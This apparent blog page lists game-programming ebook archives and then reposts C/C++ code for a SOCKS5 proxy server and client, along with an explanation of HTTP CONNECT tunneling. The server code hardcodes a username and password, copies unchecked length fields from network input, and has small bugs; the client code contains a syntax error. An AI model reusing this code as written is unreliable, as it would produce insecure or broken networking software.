Ai.Game.Programming.Wisdom.rar ,AI游戏编程(代码)
Real_Time_Rendering.rar ,实时渲染
special.effects.game.programming.rar ,特效(特殊效果)游戏编程(含源码)
Shaders.for.Game.Programmers.and.Artists.zip ,着色器for游戏开发者和艺术家
Real-Time Shader Programming.rar ,实时着色器编程
Wordware.Publishing.Advanced.Lighting.and.Materials.With.Shaders.rar ,高级光照和材质with着色器
OReilly - Physics for Game Developers.rar ,物理for游戏开发者

GPU Programming Guide.rar ,GPU编程指南
Collision.Detection.pdf.rar ,碰撞检测
Collision.Detection.-.Algorithms.and.Applications.rar ,碰撞检测 - 算法与应用
focus.on.3D.terrain.zip ,游戏3D地形编程
Focus.On.3D.Models.zip ,游戏3D模型编程
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Beginning.Game.Audio.Programming.rar ,开始游戏音频编程(含源码)
Internetworked.3D.Computer.Graphics.rar ,互连网间的3D计算机图形学

Beginning.Math.and.Physics.For.Game.Programmers.zip ,开始数学和物理for游戏编程者(PDF版)
Beginning Math and Physics for Game Programmers[CHM].rar ,开始数学和物理for游戏编程者(CHM版)
3D.Math.Primer.for.graphics.and.game.development.zip ,3D数学初步for图形和游戏开发
The art of computer game design.rar ,计算机游戏设计艺术
Sams.Beginning.3D.Game.Programming.eBook-LiB.rar ,3D游戏编程入门
MIT.Press.Rules.of.Play.Game.Design.Fundamentals.rar ,游戏设计基础
design a pc game engine.rar ,设计一个PC游戏引擎

Advanced Graphics Programming Techniques Using Opengl.rar ,高级图形编程技术用OpenGL
Real-time.Rendering.Tricks.and.Techniques.in.DirectX.rar ,DirectX实时渲染技巧与技术
Real-Time Rendering Tricks and Techniques in DirectX(src).ZIP ,DirectX实时渲染技巧与技术(源代码)
Real Time 3D Terrain Engines Using C++ And Dx9.rar ,实时3D地形引擎用C++和Dx9
MS.Press.-.Microsoft.DirectX.9.Programmable.Graphics.Pipeline.rar ,Microsoft DirectX9可编程图形管线
Wordware.Publishing.OpenGL.Game.Development.eBook-YYePG.rar ,OpenGL游戏开发
Beginning.OpenGL.Game.Programming.ebook.zip ,OpenGL游戏编程入门
OpenGL.Programming.Guide.rar ,OpenGL编程指南
Addison.Wesley.-.OpenGL.Programming.Guide.2nd.Edition.rar ,OpenGL编程指南(第二版)
Addison-Wesley,.OpenGL.Shading.Language.(2004).DDU.ShareConnector.rar ,OpenGL着色语言(2004)
Learn Vertex and Pixel Shader Programming With Directx 9.rar ,学习顶点和像素着色器编程用DirectX9
Shaderx2 - Shader Programming Tips & Tricks With Directx 9.rar ,Shaderx2 - 着色器编程提示与技巧With DirectX9
ShaderX2 Introductions and Tutorials with DirectX9.rar ,ShaderX2介绍和指导With DirectX9
Direct3D.ShaderX.-.Vertex.and.Pixel.Shader.Tips.and.Tricks.rar ,Direct3D.ShaderX - 顶点和像素着色器提示和技巧
Advanced 3D Game Programming with DirectX 9.rar ,高级3D游戏编程用DirectX 9.0(含源码,CHM版)
Advanced 3D Game Programming with DirectX 9[PDF].rar ,高级3D游戏编程用DirectX 9.0(PDF版)
DirectX 3D Graphics Programming Bible.rar ,DirectX 3D图形编程宝典
Introduction to 3D Game Programming with DirectX 9.0.rar ,介绍对3D游戏编程用DirectX9.0(含部分源代码)
Beginning.Direct3D.Game.Programming.rar ,Direct3D游戏编程入门
Beginning.DirectX9.zip ,DirectX9入门
Cutting Edge Direct 3D Programming.rar ,Cutting Edge(刀刃)Direct 3D编程
Game.Scripting.Mastery.zip ,游戏描述语言掌握
Data.Structures.for.Game.Programmers.rar ,数据结构for游戏编程者(含源码)
2_OpenGL.Extensions.-.Nvidia.rar ,OpenGL扩展(Nvidia)
Managed.DX.9.Kick.Start.Graphics.And.Game.Programming.rar ,DirectX9图形和游戏编程
OpenGL.Reference.Manual.rar ,OpenGL参考手册
OpenGL.Super.Bible.rar ,OpenGL超级宝典

Tricks of the Windows Game Programming Gurus.rar ,Windows游戏编程大师技巧
Tricks of Win Game Programming Gurus 2ed.rar ,Windows游戏编程大师技巧(第二版)
Game.Programming.Beginners.Guide.rar ,游戏编程初学者指南
Chris_Crawford_on_Game_Design.rar ,Chris Crawford写的游戏设计书

Advanced.Animation.with.DirectX.rar ,高级动画with DirectX(含源码)
Inside Direct3D.rar ,深入Direct3D
Direct3D_9_Basics.rar ,Direct3D 9基础
Sams Teach Yourself DirectX 7 in 24 Hours.rar ,教你自己DirectX7在24小时
Programming.Role.Playing.Games.with.DirectX.rar ,用DirectX编程RPG游戏(含源码)
Programming Multiplayer Games.rar ,编程多玩家游戏
Net Game Programming With Directx 9.0.rar ,网络游戏编程with Directx 9.0
Programming Linux Games.rar ,编程Linux游戏
Developing Online Games - An Insiders Guide.rar ,开发在线游戏 - 一个权威人士的指导
Game Coding Complete.rar ,游戏编码完全
Strategy Game Programming with DirectX 9.0.rar ,策略游戏编程用DirectX9.0
Strategy Game Programming with DirectX 9.0 Source Code.zip ,策略游戏编程用DirectX9.0(源代码)
Addison-Wesley - Software Engineering and Computer Games.rar ,软件工程和计算机游戏
Artificial Intelligence and Software Engineering.rar ,AI和软件工程
Game-Programming-OpenGL-C++.rar ,有关OpenGl和C++的一些资料

GBA Programming Game Boy Advance The Unofficial Guide.rar ,GBA编程非官方指南
Palm.OS.Game.Programming.zip ,Palm掌上操作系统游戏编程
Mac.Game.Programming.pdf ,苹果机游戏编程
Premier.Press.J2ME.Game.Programming.rar ,J2ME游戏编程
J2ME Game Development with MIDP2.rar ,J2ME游戏开发with MIDP2
PHP.Game.Programming.zip ,PHP语言游戏编程
Game.Programming.with.Python.Lua.And.Ruby.zip ,游戏编程用Python,Lua和Ruby语言
Apress.dot.NET.Game.Programming.with.DirectX.9.0.eBook-KB.rar ,点NET游戏编程用DirectX9
Wordware.Wireless.Game.Development.In.C.Cpp.With.BREW.chm ,无线游戏开发用C、C++ With BREW

DirectX9 User Interfaces Design and Implementation.rar ,DirectX9用户接口设计和实现
Game.Interface.Design.rar ,游戏接口设计


SAMS Teach Yourself Game Programming in 24 Hours.rar ,教你自己游戏编程在24小时
C.Game.Programming.For.Dummies.2.rar ,C游戏编程傻瓜书2
Beginners Guide to DarkBASIC Game Programming.rar ,初学者指南对DarkBASIC游戏编程
Windows Graphics Programming Win32 GDI and DirectDraw.rar ,Windows图形编程 - Win32 GDI 和 DirectDraw
Game Programming Genesis.rar ,游戏编程起步

2D.Artwork.and.3D.Modeling.for.Game.Artists.zip ,2D艺术品和3D建模for游戏艺术家
Game.Art.for.Teens.pdf ,游戏艺术for青年人

Game Development and Production.rar ,游戏开发和产品
Game.Developers.Market.Guide.rar ,游戏开发者市场指南


MIT.Press.A.History.Of.Modern.Computing.eBook-LiB.rar ,现代计算历史
The C++ Programming Language NO.3 Edition.rar ,C++编程语言(第三版)
Computer Systems A Programmers Perspective.rar ,计算机系统 - 一个编程者的透视
Intel Architecture Software Developer Manual.zip ,Intel架构软件开发者手册
Intel Itanium Assembly Language Reference.rar ,Intel Itanium架构汇编语言参考
Agile Software Development.rar ,灵活的软件开发
Code Reading The Open Source Perspective.rar ,代码阅读与开放源透视

ps2DevEnvironment.exe ,PS2开发环境
doxygen-1.3.9.1-setup.exe ,一种文档自动生成软件
wolf_source.exe ,wolf游戏(id software)源代码
doom_src.zip ,doom游戏(id software)源代码
q2src320.exe ,Quake2游戏(id software)源代码
Q3A_TA_GameSource_127.exe ,QuakeIII(id software)游戏源代码
Q3A_ToolSource.exe ,QuakeIII(id software)工具源代码
re: 代理服务器代码 聂文龙 2008-10-21 11:35
[转载]C语言写的Linux平台socks5代理程序
C语言写的Linux平台socks5代理程序

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

前几天MSN老上不去,我还以为是公司做了防火墙限制。于是把去年这个时候写得一个代理程序改了改,拿出来用。结果发现MSN是因为微软的问题,鄙视啊……
因为写得比较急,这个只支持TCP代理,UDP的我没写,因为MSN用不上。这个代码可以随意修改分发,不过最好能给我一份。

这是头文件:
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Socks5代理头文件,定义协议相关数据包结构
// 版本 0.1,作者 云舒
// 2007年1月9日凌晨1点15分,GF回家已经11天了。
// 2008年1月25日修改,今年GF一直在我身边,哈哈
//
// 参考:
// http://www.rfc-editor.org/rfc/rfc1928.txt">http://www.rfc-editor.org/rfc/rfc1928.txt
// http://www.rfc-editor.org/rfc/rfc1929.txt">http://www.rfc-editor.org/rfc/rfc1929.txt
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

#ifndef SOCKS5_H
#define SOCKS5_H

#define VERSION 0x05
#define CONNECT 0x01
#define IPV4 0x01
#define DOMAIN 0x03
#define IPV6 0x04

typedef struct _method_select_response // 协商方法服务器响应
{
char version; // 服务器支持的Socks版本,0x04或者0x05
char select_method;// 服务器选择的方法,0x00为匿名,0x02为密码认证
} METHOD_SELECT_RESPONSE;

typedef struct _method_select_request // 协商方法服务端请求
{
char version; // 客户端支持的版本,0x04或者0x05
char number_methods; // 客户端支持的方法的数量
char methods[255]; // 客户端支持的方法类型,最多255个,0x00为匿名,0x02为密码认证
} METHOD_SELECT_REQUEST;

typedef struct _AUTH_RESPONSE // 用户密码认证服务端响应
{
char version;// 版本,此处恒定为0x01
char result;// 服务端认证结果,0x00为成功,其他均为失败
} AUTH_RESPONSE;

typedef struct _AUTH_REQUEST //用户密码认证客户端请求
{
char version; // 版本,此处恒定为0x01
char name_len; // 第三个字段用户名的长度,一个字节,最长为0xff
char name[255]; // 用户名
char pwd_len;// 第四个字段密码的长度,一个字节,最长为0xff
char pwd[255]; // 密码
} AUTH_REQUEST;

typedef struct _SOCKS5_RESPONSE // 连接真实主机,Socks代理服务器响应
{
char version; // 服务器支持的Socks版本,0x04或者0x05
char reply; // 代理服务器连接真实主机的结果,0x00成功
char reserved; // 保留位,恒定位0x00
char address_type; // Socks代理服务器绑定的地址类型,IP V4为0x01,IP V6为0x04,域名为0x03
char address_port[1]; // 如果address_type为域名,此处第一字节为域名长度,其后为域名本身,无0字符结尾,域名后为Socks代理服务器绑定端口
}SOCKS5_RESPONSE;

typedef struct _SOCKS5_REQUEST // 客户端请求连接真实主机
{
char version; // 客户端支持的Socks版本,0x04或者0x05
char cmd; // 客户端命令,CONNECT为0x01,BIND为0x02,UDP为0x03,一般为0x01
char reserved; // 保留位,恒定位0x00
char address_type; // 客户端请求的真实主机的地址类型,IP V4为0x00,IP V6为0x04,域名为 0x03 char address_port[1]; // 如果address_type为域名,此处第一字节为域名长度,其后为域名本身,无0字符结尾,域名后为真实主机绑定端口

}SOCKS5_REQUEST;
#endif
主程序来了:
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Socks5程序,只支持TCP代理
// 版本 0.1,作者 云舒
// 2007年1月9日凌晨1点15分,GF回家已经11天了。
// 2008年1月25日修改,今年GF一直在我身边,哈哈
//
// 参考:
// http://www.rfc-editor.org/rfc/rfc1928.txt">http://www.rfc-editor.org/rfc/rfc1928.txt
// http://www.rfc-editor.org/rfc/rfc1929.txt">http://www.rfc-editor.org/rfc/rfc1929.txt
//编译:
// gcc -o socks5 -O2 Socks5.c -lpthread( RedHat AS5测试 )
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#include "Socks5.h"

#define MAX_USER 10
#define BUFF_SIZE 1024

#define AUTH_CODE 0x02

#define TIME_OUT 6000000

#define USER_NAME "yunshu"
#define PASS_WORD "ph4nt0m"

// Select auth method, return 0 if success, -1 if failed
int SelectMethod( int sock )
{
char recv_buffer[BUFF_SIZE] = { 0 };
char reply_buffer[2] = { 0 };

METHOD_SELECT_REQUEST *method_request;
METHOD_SELECT_RESPONSE *method_response;

// recv METHOD_SELECT_REQUEST
int ret = recv( sock, recv_buffer, BUFF_SIZE, 0 );
if( ret <= 0 )
{
perror( "recv error" );
close( sock );

return -1;
}

//printf( "SelectMethod: recv %d bytes\n", ret );

// if client request a wrong version or a wrong number_method
method_request = (METHOD_SELECT_REQUEST *)recv_buffer;
method_response = (METHOD_SELECT_RESPONSE *)reply_buffer;

method_response->version = VERSION;

// if not socks5
if( (int)method_request->version != VERSION )
{
method_response->select_method = 0xff;

send( sock, method_response, sizeof(METHOD_SELECT_RESPONSE), 0 );
close( sock );

return -1;
}

method_response->select_method = AUTH_CODE;
if( -1 == send( sock, method_response, sizeof(METHOD_SELECT_RESPONSE), 0 ) )
{
close( sock );
return -1;
}

return 0;
}

// test password, return 0 for success.
int AuthPassword( int sock )
{
char recv_buffer[BUFF_SIZE] = { 0 };
char reply_buffer[BUFF_SIZE] = { 0 };

AUTH_REQUEST *auth_request;
AUTH_RESPONSE *auth_response;

// auth username and password
int ret = recv( sock, recv_buffer, BUFF_SIZE, 0 );
if( ret <= 0 )
{
perror( "recv username and password error" );
close( sock );
return -1;
}
//printf( "AuthPass: recv %d bytes\n", ret );

auth_request = (AUTH_REQUEST *)recv_buffer;

memset( reply_buffer, 0, BUFF_SIZE );
auth_response = (AUTH_RESPONSE *)reply_buffer;
auth_response->version = 0x01;

char recv_name[256] = { 0 };
char recv_pass[256] = { 0 };

// auth_request->name_len is a char, max number is 0xff
char pwd_str[2] = { 0 };
strncpy( pwd_str, auth_request->name + auth_request->name_len, 1 );
int pwd_len = (int)pwd_str[0];

strncpy( recv_name, auth_request->name, auth_request->name_len );
strncpy( recv_pass, auth_request->name + auth_request->name_len + sizeof(auth_request->pwd_len), pwd_len );

//printf( "username: %s\npassword: %s\n", recv_name, recv_pass );
// check username and password
if( (strncmp( recv_name, USER_NAME, strlen(USER_NAME) ) == 0) &&
(strncmp( recv_pass, PASS_WORD, strlen(PASS_WORD) ) == 0)
)
{
auth_response->result = 0x00;
if( -1 == send( sock, auth_response, sizeof(AUTH_RESPONSE), 0 ) )
{
close( sock );
return -1;
}
else
{
return 0;
}
}
else
{
auth_response->result = 0x01;
send( sock, auth_response, sizeof(AUTH_RESPONSE), 0 );

close( sock );
return -1;
}
}

// parse command, and try to connect real server.
// return socket for success, -1 for failed.
int ParseCommand( int sock )
{
char recv_buffer[BUFF_SIZE] = { 0 };
char reply_buffer[BUFF_SIZE] = { 0 };

SOCKS5_REQUEST *socks5_request;
SOCKS5_RESPONSE *socks5_response;

// recv command
int ret = recv( sock, recv_buffer, BUFF_SIZE, 0 );
if( ret <= 0 )
{
perror( "recv connect command error" );

close( sock );
return -1;
}

socks5_request = (SOCKS5_REQUEST *)recv_buffer;
if( (socks5_request->version != VERSION) || (socks5_request->cmd != CONNECT) ||
(socks5_request->address_type == IPV6) )
{
//printf( "connect command error.\n" );
close( sock );
return -1;
}

// begain process connect request
struct sockaddr_in sin;

memset( (void *)&sin, 0, sizeof(struct sockaddr_in) );
sin.sin_family = AF_INET;

// get real server&#39;s ip address
if( socks5_request->address_type == IPV4 )
{
memcpy( &sin.sin_addr.s_addr, &socks5_request->address_type + sizeof(socks5_request->address_type) , 4 );
memcpy( &sin.sin_port, &socks5_request->address_type + sizeof(socks5_request->address_type) + 4, 2 );

//printf( "Real Server: %s %d\n", inet_ntoa( sin.sin_addr ), ntohs( sin.sin_port ) );
}
else if( socks5_request->address_type == DOMAIN )
{
char domain_length = *(&socks5_request->address_type + sizeof(socks5_request->address_type));
char target_domain[ 256] = { 0 };

strncpy( target_domain, &socks5_request->address_type + 2, (unsigned int)domain_length );

//printf( "target: %s\n", target_domain );

struct hostent *phost = gethostbyname( target_domain );
if( phost == NULL )
{
//printf( "Resolve %s error!\n" , target_domain );

close( sock );
return -1;
}
memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );

memcpy( &sin.sin_port, &socks5_request->address_type + sizeof(socks5_request->address_type) +
sizeof(domain_length) + domain_length, 2 );
}

// try to connect to real server
int real_server_sock = socket( AF_INET, SOCK_STREAM, 0 );
if( real_server_sock < 0 )
{
perror( "Socket creation failed\n");

close( sock );
return -1;
}

memset( reply_buffer, 0, sizeof(BUFF_SIZE) );

socks5_response = (SOCKS5_RESPONSE *)reply_buffer;

socks5_response->version = VERSION;
socks5_response->reserved = 0x00;
socks5_response->address_type = 0x01;
memset( socks5_response + 4, 0 , 6 );

ret = connect( real_server_sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
if( ret == 0 )
{
socks5_response->reply = 0x00;
if( -1 == send( sock, socks5_response, 10, 0 ) )
{
close( sock );

return -1;
}
}
else
{
perror( "Connect to real server error" );
socks5_response->reply = 0x01;
send( sock, socks5_response, 10, 0 );

close( sock );
return -1;
}

return real_server_sock;
}

int ForwardData( int sock, int real_server_sock )
{
char recv_buffer[BUFF_SIZE] = { 0 };

fd_set fd_read;
struct timeval time_out;

time_out.tv_sec = 0;
time_out.tv_usec = TIME_OUT;

int ret = 0;

while( 1 )
{
FD_ZERO( &fd_read );
FD_SET( sock, &fd_read );
FD_SET( real_server_sock, &fd_read );

ret = select( (sock > real_server_sock ? sock : real_server_sock) + 1, &fd_read, NULL, NULL, &time_out );
if( -1 == ret )
{
perror( "select socket error" );
break;
}
else if( 0 == ret )
{
//perror( "select time out" );
continue;
}

//printf( "[DEBUG] testing readable!\n" );
if( FD_ISSET(sock, &fd_read) )
{
//printf( "client can read!\n" );
memset( recv_buffer, 0, BUFF_SIZE );
ret = recv( sock, recv_buffer, BUFF_SIZE, 0 );
if( ret > 0 )
{
//printf( "%s", recv_buffer );
//printf( "recv %d bytes from client.\n", ret );
ret = send( real_server_sock, recv_buffer, ret, 0 );
if( ret == -1 )
{
perror( "send data to real server error" );
break;
}
//printf( "send %d bytes to client!\n", ret );
}
else if( ret == 0 )
{
//printf( "client close socket.\n" );
break;
}
else
{
//perror( "recv from client error" );
break;
}
}

else if( FD_ISSET(real_server_sock, &fd_read) )
{
//printf( "real server can read!\n" );
memset( recv_buffer, 0, BUFF_SIZE );
ret = recv( real_server_sock, recv_buffer, BUFF_SIZE, 0 );
if( ret > 0 )
{
//printf( "%s", recv_buffer );
//printf( "recv %d bytes from real server.\n", ret );
ret = send( sock, recv_buffer, ret, 0 );
if( ret == -1 )
{
perror( "send data to client error" );
break;
}
}
else if( ret == 0 )
{
//printf( "real server close socket.\n" );
break;
}
else
{
perror( "recv from real server error" );
break;
}
}
}

return 0;
}

int Socks5( void *client_sock )
{
int sock = *(int *)client_sock;

if( SelectMethod( sock ) == -1 )
{
//printf( "socks version error\n" );
return -1;
}

if( AuthPassword( sock ) == -1 )
{
//printf( "auth password error\n" );
return -1;
}

int real_server_sock = ParseCommand( sock );
if( real_server_sock == -1 )
{
//printf( "parse command error.\n" );
return -1;
}

ForwardData( sock, real_server_sock );

close( sock );
close( real_server_sock );

return 0;
}

int main( int argc, char *argv[] )
{
if( argc != 2 )
{
printf( "Socks5 proxy for test,code by YunShu\n" );
printf( "Usage: %s <proxy_port>\n", argv[0] );
printf( "Options:\n" );
printf( " <proxy_port> ---which port of this proxy server will listen.\n" );

return 1;
}

struct sockaddr_in sin;

memset( (void *)&sin, 0, sizeof( struct sockaddr_in) );
sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(argv[1]) );
sin.sin_addr.s_addr = htonl(INADDR_ANY);

int listen_sock = socket( AF_INET, SOCK_STREAM, 0 );
if( listen_sock < 0 )
{
perror( "Socket creation failed\n");
return -1;
}

int opt = SO_REUSEADDR;
setsockopt( listen_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt) );

if( bind( listen_sock, (struct sockaddr*)&sin, sizeof(struct sockaddr_in) ) < 0 )
{
perror( "Bind error" );
return -1;
}

if( listen( listen_sock, MAX_USER ) < 0 )
{
perror( "Listen error" );
return -1;
}

struct sockaddr_in cin;
int client_sock;
int client_len = sizeof( struct sockaddr_in );

while( client_sock = accept( listen_sock, (struct sockaddr *)&cin, (socklen_t *)&client_len ) )
{
printf( "Connected from %s, processing......\n", inet_ntoa( cin.sin_addr ) );

pthread_t work_thread;
if( pthread_create( &work_thread, NULL, (void *)Socks5, (void *)&client_sock ) )
{
perror( "Create thread error..." );
close( client_sock );
}
else
{
pthread_detach( work_thread );
}
}
}
re: 代理服务器代码 聂文龙 2008-10-21 02:29
关于通过http代理访问Internet
最近在网上查了一点关于通过Socket代理或者http代理访问internet的资料,国内的资料比较少,查到了一点英文资料,觉得讲得还不错。
When an HTTP connection is made through a proxy server the client (usually the browser) sends the request to the proxy. The proxy opens the connection to the destination, sends the request, receives the response and sends it back to the client. The HTTP protocol specifies a request method called CONNECT. The CONNECT method can be used by the client to inform the proxy server that a connection to some host on some port is required. The proxy server, if allows such connections, tries to connect to the destination address specified in the request header. If it the operation fails it sends back to the client a negative HTTP response and close the connection. If the operation succeeded then send back an HTTP positive response and the connection is consider established. After that, the proxy does not care what data is transferred between client requesting the connection and the destination. It just forwards data in both ways acting as a tunnel.

About the protocol
We are interested in CONNECT method from the HTTP protocol. After the applications opens a connection with the proxy server it must send the connect request in the form of an HTTP request:

CONNECT <destination_address>:<destination_port> <http_version><CR><LF><header_line><CR><LF><header_line><CR><LF>...<header_line><CR><LF><CR><LF>The proxy server process the request and try to make a connection to <destionation_address>:<destination_port>.

The proxy server sends back an HTTP response in the form:

<http_version> <code> <message><CR><LF><header_line><CR><LF><header_line><CR><LF>...<header_line><CR><LF><CR><LF>If it is a positive response (code=200) then after the empty line the proxy begins to acts as a tunnel and forwards data. If it is a negative response (code!=200) then connection is closed after the empty line.

The HTTPTunneling application
The application act as specified in a configuration file. An entry in the configuration file locks like this:

<Source port> <Destination address> <Destination port> <Proxy address> <Proxy port>If the application is running and an entry in the configuration files changes, the application automatically updates itself.

For every entry in the configuration file the application creates a port listener. This is a thread that opens a socket on <Source port> and waits for connection. When a request arrives on that port it tries to open a tunnel to the <Destination address>:< port>. If the <Proxy address> and <Proxy port> are missing, a direct connection is made. If the field are present it opens a connection to the proxy and sends a CONNECT request using the method specified above. The tunnel construction is made in a separate thread to let the port listener to accept immediatelly new connections. After the connection is established a tunnel object is constructed based on the opened sockets, sockets are marked as non-blocking and the object is passed to manager object. The thread that has created the tunnel is destroyed. Data transfer is made on a single thread. When one of the ends closes the connection the tunnel closes the other and the tunnel is marked as inactive. The manager finds the tunnel inactive and removes it from the list of active tunnels. By default the application generates log information in HTTPTunneling.log file. This file can be consulted to find wrong application behaviour.
re: 代理服务器代码 聂文龙 2008-10-21 02:25
通过Socket5代理服务器访问网络的问题
SOCKS5

Socks5版本的协议说明参考 RFC1928,RFC1929
下面简单地罗列程序实现,不涉及详细的协议规范。首先对于TCP连接,然后再讨论UDP传输。至于通过socks5的多播通讯,有兴趣可以参考D. Chouinard的文章。

1、TCP:

// 建立流套接字
SOCKET m_socTCP=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// 连接到代理服务器
int nRet = connect(m_socTCP,(SOCKADDR*)&m_saiProxy,sizeof(m_saiProxy));

// Step 1: 连接代理服务器成功后,马上开始和代理协商,协商报文如下,询问服务器,版本5,是需要验证(0x02)还是不需要验证(0x00)
  +------+-------------------+------------+
  |VER | Number of METHODS | METHODS |
  +------+-------------------+------------+
  | 0x05 | 0x02 (有两个方法) | 0x00 | 0x02|
  +------+-------------------+------------+
const char reqNego[4]={(char)0x05,(char)0x02,(char)0x00,(char)0x02};
nRet = send(m_socTCP,reqNego,4,0);

// Setp 2: 代理服务器将返回两个字节的协商结果,接收协商结果
fd_set fdread;FD_ZERO(&fdread);
FD_SET(m_socTCP,&fdread);
// Last param set to NULL for blocking operation. (struct timeval*)
if((nRet=select(0,&fdread,NULL,NULL,NULL))==SOCKET_ERROR){return NC_E_PROXY_SELECT_READ|WSAGetLastError();}
char resNego[2]={'\0'};
int nRcvd=0,nCount=0;
while(1)
{
if(FD_ISSET(m_socTCP,&fdread))
{
//接收sock[0]发送来的数据
do{
nRet = recv(m_socTCP, (char*)resNego+nRcvd, 2-nRcvd,0);
if(nRet==SOCKET_ERROR){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
nRcvd += nRet;
}
while((nRcvd!=2)&&(++nCount<1000));
if(nRcvd==2) break;
}
if(nCount++>=2000){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
}
if(resNego[0]!=0x05 || (resNego[1]!=0x00 && resNego[1]!=0x02)){return NC_E_PROXY_PROTOCOL_VERSION|WSAGetLastError();};

// Step 3: 根据协商结果判断是否需要验证用户,如果是0x02,则需要提供验证,验证部分参考RFC1929
if(resNego[1]==0x02)
{
// 需要密码验证
char reqAuth[513]={'\0'};
BYTE byLenUser = (BYTE)strlen(m_szProxyUserName);
BYTE byLenPswd = (BYTE)strlen(m_szProxyPassword);
reqAuth[0]=0x01;
reqAuth[1]=byLenUser;
sprintf(&reqAuth[2],"%s",m_szProxyUserName);
reqAuth[2+byLenUser]=byLenPswd;
sprintf(&reqAuth[3+byLenUser],"%s",m_szProxyPassword);
//Send authentication info
int len = (int)byLenUser + (int)byLenPswd + 3;
nRet=send(m_socTCP,(const char*)reqAuth,len,0);
if (nRet==SOCKET_ERROR){return NC_E_PROXY_SEND|WSAGetLastError();}
//Now : Response to the auth request
char resAuth[2]={'\0'};
int nRcvd=0,nCount=0;
do{
nRet = recv(m_socTCP,resAuth+nRcvd,2-nRcvd,0);
if(nRet==SOCKET_ERROR){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
nRcvd += nRet;
}
while((nRcvd!=2)&&(++nCount<1000));
if(nCount>=1000){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
if (resAuth[1]!=0) return NC_E_PROXY_AUTHORIZE;
// 密码验证通过了
}

// Step 4: 协商完成,开始发送连接远程服务器请求,请求报文格式如下:
  +----+-----+-------+------+----------+----------+
  |VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT |
  +----+-----+-------+------+----------+----------+
  | 1 |  1 | 0x00 |  1 | Variable |   2   |
  +----+-----+-------+------+----------+----------+
// CMD==0x01 表示连接, ATYP==0x01表示采用IPV4格式地址,DST.ADDR是远程服务器地址,DST.PORT是远程服务器端口
// 如果需要接受外来连接,则需要在连接完成之后,发送CMD==0x02绑定请求,代理将为此请求绑定一个套接字接受外部连接
char reqSubNego[10]={(char)0x05,(char)0x01,(char)0x00,(char)0x01,(char)0x00,(char)0x00,(char)0x00,(char)0x00,(char)0x00,(char)0x00};
*(unsigned long*)&reqSubNego[4] =m_saiServerTCP.sin_addr.S_un.S_addr;
*(unsigned short*)&reqSubNego[8]=m_saiServerTCP.sin_port;
nRet=send(m_socTCP,(const char*)reqSubNego,10,0);
if (nRet==SOCKET_ERROR){return NC_E_PROXY_SEND|WSAGetLastError();}

// Step 5: 接收对请求的响应,响应包格式如下
  +----+-----+-------+------+----------+----------+
  |VER | REP | RSV | ATYP | BND.ADDR | BND.PORT |
  +----+-----+-------+------+----------+----------+
  | 1 | 1 | 0x00 | 1   | Variable |   2   |
  +----+-----+-------+------+----------+----------+
// VER 必须是0x05, REP==0x00表示成功,ATYP==0x01表示地址是IPV4地址,BND.ADDR 是代理为连接远程服务器绑定的地址,BND.PORT是这个套接字的端口
char resSubNego1[5]={'\0'};
if(FD_ISSET(m_socTCP,&fdread))
{
int nRcvd=0,nCount=0;
do{
nRet = recv(m_socTCP,resSubNego1+nRcvd,5-nRcvd,0);
if(nRet==SOCKET_ERROR){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
nRcvd += nRet;
}
while((nRcvd!=5)&&(++nCount<1000));
if(nCount>=1000){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
if(resSubNego1[0]!=0x05||resSubNego1[1]!=0x00){return NC_E_PROXY_PROTOCOL_VERSION_SUB|WSAGetLastError();};

switch(resSubNego1[3])
{
case 0x01:
{
// IP V4
char resSubNego2[6]={resSubNego1[4],0};
int nRet=-1;
if(FD_ISSET(m_socTCP,&fdread))
{
int nRcvd=0,nCount=0;
do{
int nRet = recv(m_socTCP,&resSubNego2[1]+nRcvd,5-nRcvd,0);
if(nRet==SOCKET_ERROR){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
nRcvd += nRet;
}
while((nRcvd!=5)&&(++nCount<1000));
if(nCount>=1000){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
}
// 得到代理绑定地址
unsigned long ulBINDAddr = *(unsigned long*)&resSubNego2; // SOCKS BIND ADDR
unsigned short usBINDPort = *(unsigned short*)&resSubNego2[4]; // SOCKS BIND PORT
m_saiProxyBindTCP.sin_addr.S_un.S_addr=ulBINDAddr;
m_saiProxyBindTCP.sin_port=usBINDPort;
// 得到本机绑定地址
int len = sizeof(m_saiHostTCP);
getsockname(m_socTCP,(SOCKADDR*)&m_saiHostTCP,&len);
}
break;
case 0x03:
{
// Domain name
int nLen = resSubNego1[4]+2;
char* presSubNego2 = new char[nLen];
if(FD_ISSET(m_socTCP,&fdread))
{
int nRet=0,nRcvd=0,nCount=0;
do{
nRet = recv(m_socTCP,presSubNego2+nRcvd,nLen-nRcvd,0);
if(nRet==SOCKET_ERROR){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
nRcvd += nRet;
}
while((nRcvd!=nLen)&&(++nCount<1000));
if(nCount>=1000){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
}
unsigned short usBINDPort = *(unsigned short*)(presSubNego2+nLen-2); // BIND PORT;
// 此时得到的是远程主机的Domain Name
delete[] presSubNego2; presSubNego2=NULL;
}
break;
case 0x04:
{
// IPV6
AfxMessageBox("该版本不支持IPV6";
}
break;
default:
break;
}

// 至此,连接已经建立。在此套接字上可进行数据的收发。
}

2、UDP

